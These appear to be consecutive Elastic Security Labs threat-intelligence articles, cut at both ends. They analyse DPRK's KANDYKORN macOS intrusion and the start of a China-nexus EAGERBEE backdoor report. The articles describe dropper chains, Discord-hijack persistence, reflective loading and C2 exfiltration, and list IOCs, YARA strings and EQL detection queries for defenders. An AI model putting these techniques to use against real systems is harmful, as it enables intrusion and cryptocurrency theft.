  	 license = "Elastic License v2"

    strings:
        $str_1 = "/%s/index.htm?RspID=%d" wide fullword
        $str_2 = "/%s/%08x.rpl" wide fullword
        $str_3 = "/%s/wu.htm" wide fullword
        $str_4 = "GET_DESKDOP" wide fullword
        $str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
        $str_6 = "[U] update error..." wide fullword
        $str_7 = "RMC_KERNEL ..." wide fullword
        $seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
        $seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master
• https://github.com/T4y1oR/RingQ
• https://github.com/EddieIvan01/iox
• https://github.com/ph4ntonn/Stowaway/

About Elastic Security Labs

Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.

We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.

We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.

Key takeaways

• Threat actors lured blockchain engineers with a Python application to gain initial access to the environment
• This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques
• The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions

Execution flow

Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an arbitrage bot, a software tool capable of profiting from cryptocurrency rate differences between platforms.

This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:

• Stage 0 (Initial Compromise) - Watcher.py
• Stage 1 (Dropper) - testSpeed.py and FinderTools
• Stage 2 (Payload) - .sld and .log - SUGARLOADER
• Stage 3 (Loader)- Discord (fake) - HLOADER
• Stage 4 (Payload) - KANDYKORN

Stage 0 Initial compromise: Watcher.py

The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled Cross-Platform Bridges.zip. Decompressing it reveals a Main.py script accompanied by a folder named order_book_recorder, housing 13 Python scripts.

The victim manually ran the Main.py script via their PyCharm IDE Python interpreter.

Initially, the Main.py script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.

While analyzing the modules housed in the order_book_recorder folder, one file -- Watcher.py -- clearly stood out and we will see why.

Main.py acts as the initial trigger, importing Watcher.py as a module that indirectly executes the script. The Python interpreter runs every top-level statement in Watcher.py sequentially.

The script starts off by establishing local directory paths and subsequently attempts to generate a _log folder at the specified location. If the folder already exists, the script remains passive.

The script pre-defines a testSpeed.py file path (destined for the just created _log folder) and assigns it to the output variable. The function import_networklib is then defined. Within it, a Google Drive URL is initialized.

Utilizing the Python urllib library, the script fetches content from this URL and stashes it in the s_args variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in s_args) is written into the testSpeed.py file.

The next function, get_modules_base_version, probes the Python version and invokes the import_networklib function if it detects version 3. This call sets the entire sequence in motion.

Watcher.py imports testSpeed.py as a module, executing the contents of the script.

Concluding its operation, the malicious script tidies up, deleting the testSpeed.py file immediately after its one-time execution.

Stage 1 droppers testSpeed.py and FinderTools

When executed, testSpeed.py establishes an outbound network connection and fetches another Python file from a Google Drive URL, named FinderTools. This new file is saved to the /Users/Shared/ directory, with the method of retrieval mirroring the Watcher.py script.

After download, testSpeed.py launches FinderTools, providing a URL (tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC) as an argument which initiates an outbound network connection.

FinderTools is yet another dropper, downloading and executing a hidden second stage payload .sld also written to the /Users/Shared/ directory.

Stage 2 payload .sld and .log: SUGARLOADER

Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (.sld and .log).

SUGARLOADER is first observed at /Users/shared/.sld. The second instance of SUGARLOADER, renamed to .log, is used in the persistence mechanism REF7001 implements with Discord.

Obfuscation

SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.

The start function of this binary consists of a jump (JMP) to an undefined address. This is common for binary packers.

HEADER:00000001000042D6 start:
HEADER:00000001000042D6                 jmp     0x10000681E

Executing the macOS file object tool otool -l ./log lists all the sections that will be loaded at runtime.

Section
  sectname __mod_init_func
   segname lko2
      addr 0x00000001006983f0
      size 0x0000000000000008
    offset 4572144
     align 2^3 (8)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0

__mod_init_func contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.

A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.

Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal shows 0 detections of this file, which suggests these defense evasions continue to be cost-effective.

Execution

The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.

SUGARLOADER checks for the existence of a configuration file at /Library/Caches/com.apple.safari.ck. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the .sld binary. In our sample, the C2 address was 23.254.226[.]90 over TCP port 443. We provide additional information about the C2 in the Network Infrastructure section below.

The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The com.apple.safari.ck file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.

struct MalwareConfig
{
  char computerId[8];
  _BYTE gap0[12];
  Url c2_urls[2];
  Hostname c2_ip_address[2];
  _BYTE proxy[200];
  int sleepInterval;
};

computerId is a randomly generated string identifying the victim’s computer.

A C2 server can either be identified with a fully qualified URL (c2_urls) or with an IP address and port (c2_ip_ddress). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. sleepInterval is the default sleeping interval for the malware between separate actions.

Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.

The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as reflective binary loading (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as NSCreateObjectFileImageFromMemory or NSLinkModule. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by slyd0g and hackd.

This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this has been observed previously in attacks conducted by the Lazarus Group.

SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named appname which we refer to as HLOADER which we took directly from the process code signature’s signing identifier.

Stage 3 loader Discord: HLOADER

HLOADER (2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, it has 0 detections on VirusTotal.

HLOADER was identified through the use of a macOS binary code-signing technique that has been previously linked to the DPRK’s Lazarus Group 3CX intrusion. In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on JOKERSPY.

Persistence

We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as execution flow hijacking. The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and .log payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.

The legitimate binary /Applications/Discord.app/Contents/MacOS/Discord was renamed to .lock, and replaced by HLOADER.

Below is the code signature information for HLOADER, which has a self-signed identifier structure consistent with other Lazarus Group samples.

Executable=Applications/Discord.app/Contents/MacOS/Discord
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
Format=bundle with Mach-O universal (x86_64 arm64)
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded

When executed, HLOADER performs the following operations:

• Renames itself from Discord to MacOS.tmp
• Renames the legitimate Discord binary from .lock to Discord
• Executes both Discord and .log using NSTask.launchAndReturnError
• Renames both files back to their initial names

The following process tree also visually depicts how persistence is obtained. The root node Discord is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.

As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.

Stage 4 Payload: KANDYKORN

KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.

Execution

KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from /Library/Caches/com.apple.safari.ck. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.

Command and control

Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.

Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.

Command 0xD1

Action: Exit command where the program gracefully exists.

Command 0xD2

Name: resp_basicinfo Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.

Command 0xD3

Name: resp_file_dir Action: Lists content of a directory and format the output similar to ls -al, including type, name, permissions, size, acl, path, and access time.

Command 0xD4

Name: resp_file_prop

Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.

Command 0xD5

Name: resp_file_upload

Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.

Command 0xD6

Name: resp_file_down

Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.

Command 0xD7

Name: resp_file_zipdown

Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern/tmp/tempXXXXXXX.

Command 0xD8

Name: resp_file_wipe Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.

Command 0xD9

Name: resp_proc_list

Action: Lists all running processes on the system along with their PID, UID and other information.

Command 0xDA

Name: resp_proc_kill

Action: Kills a process by specified PID.

Command 0xDB

Name: resp_cmd_send

Action: Executes a command on the system by using a pseudoterminal.

Command 0xDC

Name: resp_cmd_recv

Action: Reads the command output from the previous command resp_cmd_send.

Command 0xDD

Name: resp_cmd_create

Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the /dev/pts device.

Command 0xDE

Name: resp_cfg_get

Action: Sends the current configuration to the C2 from /Library/Caches/com.apple.safari.ck.

Command 0xDF

Name: resp_cfg_set

Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.

Command 0xE0

Name: resp_sleep

Action: Sleeps for a number of seconds.

Summary

KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.

Network protocol

All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.

Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.

When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.

On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as 0x41C3372 which appears in the analyzed sample.

Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.

Network infrastructure

During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.

As detailed in the Stage 1 section above, the link to the initial malware archive, Cross-Platform Bridges.zip, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2), but this was removed shortly after the archive was downloaded.

Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.

• tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
• 23.254.226[.]90

tp-globa[.]xyz

The C2 domain tp-globa[.]xyz is used by FinderTools to download SUGARLOADER and is likely an attempt at typosquatting a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.

tp-globa[.]xyz, as of this writing, resolves to an IP address (192.119.64[.]43) that has been observed distributing malware attributed to the DPRK’s Lazarus Group (1, 2, 3).

23.254.226[.]90

23.254.226[.]90 is the C2 IP used for the .sld file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.

On October 14, 2023, 23.254.226[.]90 was used to register the subdomain, pesnam.publicvm[.]com. While we did not observe this domain in our intrusion, it is documented as hosting other malicious software.

Campaign intersections

tp-globa[.]xyz, has a TLS certificate with a Subject CN of bitscrunnch.linkpc[.]net. The domain bitscrunnch.linkpc[.]net has been attributed to other Lazarus Group intrusions.

As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.

…
Issuer: C = US, O = Let's Encrypt, CN = R3
Validity
Not Before: Sep 20 12:55:37 2023 GMT
Not After : Dec 19 12:55:36 2023 GMT
Subject: CN = bitscrunnch[.]linkpc[.]net
…

The bitscrunnch.linkpc[.]net’s TLS certificate is also used for other additional domains, all of which are registered to the same IP address reported above in the tp-globa[.]xyz section above, 192.119.64[.]43.

• jobintro.linkpc[.]net
• jobdescription.linkpc[.]net
• docsenddata.linkpc[.]net
• docsendinfo.linkpc[.]net
• datasend.linkpc[.]net
• exodus.linkpc[.]net
• bitscrunnch.run[.]place
• coupang-networks[.]pics

While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is well-documented that this specific service is used by threat actors for C2. In our published research into RUSTBUCKET, which is also attributed to the DPRK, we observed LinkPC being used for C2.

All registered domains, 48 as of this writing, for 192.119.64[.]43 are included in the observables bundle.

Finally, in late July 2023, there were reports on the Subreddits r/hacking, r/Malware, and r/pihole with URLs that matched the structure of tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name testSpeed.py detailed earlier in this research.

The domain reported on Reddit was group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC which follows the same structure as the REF7001 URL (tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC):

• Two //’s after the TLD
• 5 subdirectories using an //11-characters/10-characters/10-characters/ structure
• The last 2 subdirectories were /fP7savDX6c/bfC

While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.

Those accounts were:

• https://github[.]com/Prtof
• https://github[.]com/wokurks

Summary

The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.

The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:

• Stage 0 (staging) - Main.py executes Watcher.py as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.
• Stage 1 (generic droppers) - testSpeed.py and FinderTools are intermediate dropper Python scripts that download and execute SUGARLOADER.
• Stage 2 (SUGARLOADER) - .sld and .log are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.
• Stage 3 (HLOADER) - HLOADER/Discord(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.
• Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
  • Conduct encrypted command and control
  • Conduct system enumeration
  • Upload and execute additional payloads
  • Compress and exfil data
  • Kill processes
  • Run arbitrary system commands through an interactive pseudoterminal

Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.

The Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.

[Malware] and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Defense Evasion
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• User Execution: Malicious File
• Command and Scripting Interpreter: Python
• Command and Scripting Interpreter: Unix Shell
• Hijack Execution Flow
• Deobfuscate/Decode Files or Information
• Hide Artifacts: Hidden Files and Directories
• Indicator Removal: File Deletion
• Masquerading: Match Legitimate Name or Location
• Obfuscated Files or Information: Software Packing
• Reflective Code Loading
• File and Directory Discovery
• Process Discovery
• System Information Discovery
• Archive Collected Data: Archive via Custom Method
• Local Data Staging
• Application Layer Protocol: Web Protocols
• Fallback Channels
• Ingress Tool Transfer
• Exfiltration Over C2 Channel

Malware prevention capabilities

• MacOS.Trojan.SUGARLOADER
• MacOS.Trojan.HLOADER
• MacOS.Trojan.KANDYKORN

Malware detection capabilities

Hunting queries

The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.

The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:

sequence by process.entity_id, file.path with maxspan=30s
  [file where event.action == "modification" and process.name : ".*" and 
   file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]
  [file where event.action == "deletion" and process.name : ".*" and 
   file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]

The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:

sequence by process.entity_id with maxspan=30s
[network where event.type == "start" and process.name : ".*"]
[file where event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")]

The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:

file where event.action == "rename" and file.name : ".*" and 
 file.path : "/Applications/*/Contents/MacOS/*" and 
 file.Ext.original.path : "/Applications/*/Contents/MacOS/*" and 
 not startswith~(file.Ext.original.path,Effective_process.executable)

The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:

sequence by process.entity_id with maxspan=30s
[process where event.type == "start" and event.action == "exec" and process.name : ".*" and process.args regex~ "[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}"]
[network where event.type == "start"]

The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:

any where 
 (
  (event.category : "file" and event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*") and 
   file.path : "/Users/Shared/*" and file.name : ".*" ) or 
  (event.category : "process" and event.action == "exec" and process.executable : "/Users/Shared/*" and 
   (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : ".*")
 )

The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:

sequence by process.entity_id with maxspan=30s
[process where event.type == "start" and event.action == "exec" and 
 process.args : "python*" and process.args : ("/Users/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and process.args : "http*" and 
 process.args_count <= 3 and 
 not process.name : ("curl", "wget")]
[network where event.type == "start"]

The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of "NSCreateObjectFileImageFromMemory-*":

file where event.type != "deletion" and 
file.name : "NSCreateObjectFileImageFromMemory-*"

The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the "NSCreateObjectFileImageFromMemory-*" file or a load with no dylib name provided:

any where ((event.action == "load" and not dll.path : "?*") or 
  (event.action == "load" and dll.name : "NSCreateObjectFileImageFromMemory*"))

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:

• MacOS.Trojan.SUGARLOADER
• MacOS.Trojan.HLOADER
• MacOS.Trojan.KANDYKORN

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs
• https://x.com/tiresearch1/status/1708141542261809360
• https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/
• Looks like a try to steel some data : r/Malware
• https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/
• Lazarus Group Goes 'Fileless'
• Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui
• macOS reflective code loading analysis · hackd

Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.

Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.

In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.

The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting here and updated here). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).

Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.

Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth here.

Key takeaways

• Elastic Security Labs is disclosing three new malware families:
  • EAGERBEE
  • RUDEBIRD
  • DOWNTOWN
• Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns
• The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities

EAGERBEE

EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.

During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

Code analysis

EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.

Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.

After resolving all the required Windows APIs, the malware creates a mutex with the string mstoolFtip32W to prevent multiple instances of the malware from running on the same machine.

The malware gathers key information about the compromised system:

• The computer's name is obtained using the GetComputerNameW function
• The malware retrieves the Windows version by utilizing the GetVersionExW function
• A globally unique identifier (GUID) is generated through the CoCreateGuid function
• The processor architecture information is acquired using the GetNativeSystemInfo function
• The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion

The sample’s operational schedule is controlled by the string 0-5:00:23;6:00:23;. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:

• active from Sunday(0) to Friday(5)
• all hours between 00 and 23
• Saturday(6) all hours between 00 and 23

This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.

The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named c:\users\public\iconcache.mui. This file is decrypted using the first character as the decryption key.

This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure IP:PORT, where the character s is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.

The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.

A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.

In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.

When operating in active connection mode, the malware attempts to load its configuration from the file c:\users\public\iconcache.mui. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs

The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.

Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.

The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the ProxyEnable registry key within Software\Microsoft\windows\CurrentVersion\Internet Settings. If this key value is set to 1, the malware extracts the information in the ProxyServer key.

If no proxy server is set, the malware connects directly to C2.

However, if the proxy settings are defined, the malware also initializes the proxy by sending a CONNECT request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote DONNECT instead of CONNECT in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.

Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.

EAGERBEE connection to a Mongolian campaign

During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE samples involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (iconcache.mui for EAGERBEE and iconcaches.mui in the Mongolian campaign). The samples consisted of multiple files and a lure document.

While analyzing the Mongolian campaign samples, we found a previous webpage (http://president[.]mn/en/ebooksheets.php) hosted under Mongolian infrastructure serving a RAR file named 20220921_2.rar. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.

The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important topic in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.

For this infection chain, they leveraged a signed Kaspersky application in order to sideload a malicious DLL. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (www.president[.]mn/upload.php) via cURL. Persistence is configured using a Registry Run Key.

Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate. Based on string formatting and underlying behavior, this sample aligns with public reporting from AVAST related to a utility they call DataExtractor1.

While we didn’t find a WinRAR archive for the other linked sample, we found this related executable. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (https://intranet.gov[.]mn/upload.php).

While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.

EAGERBEE Summary

EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.

Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.

RUDEBIRD

Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.

Initial execution

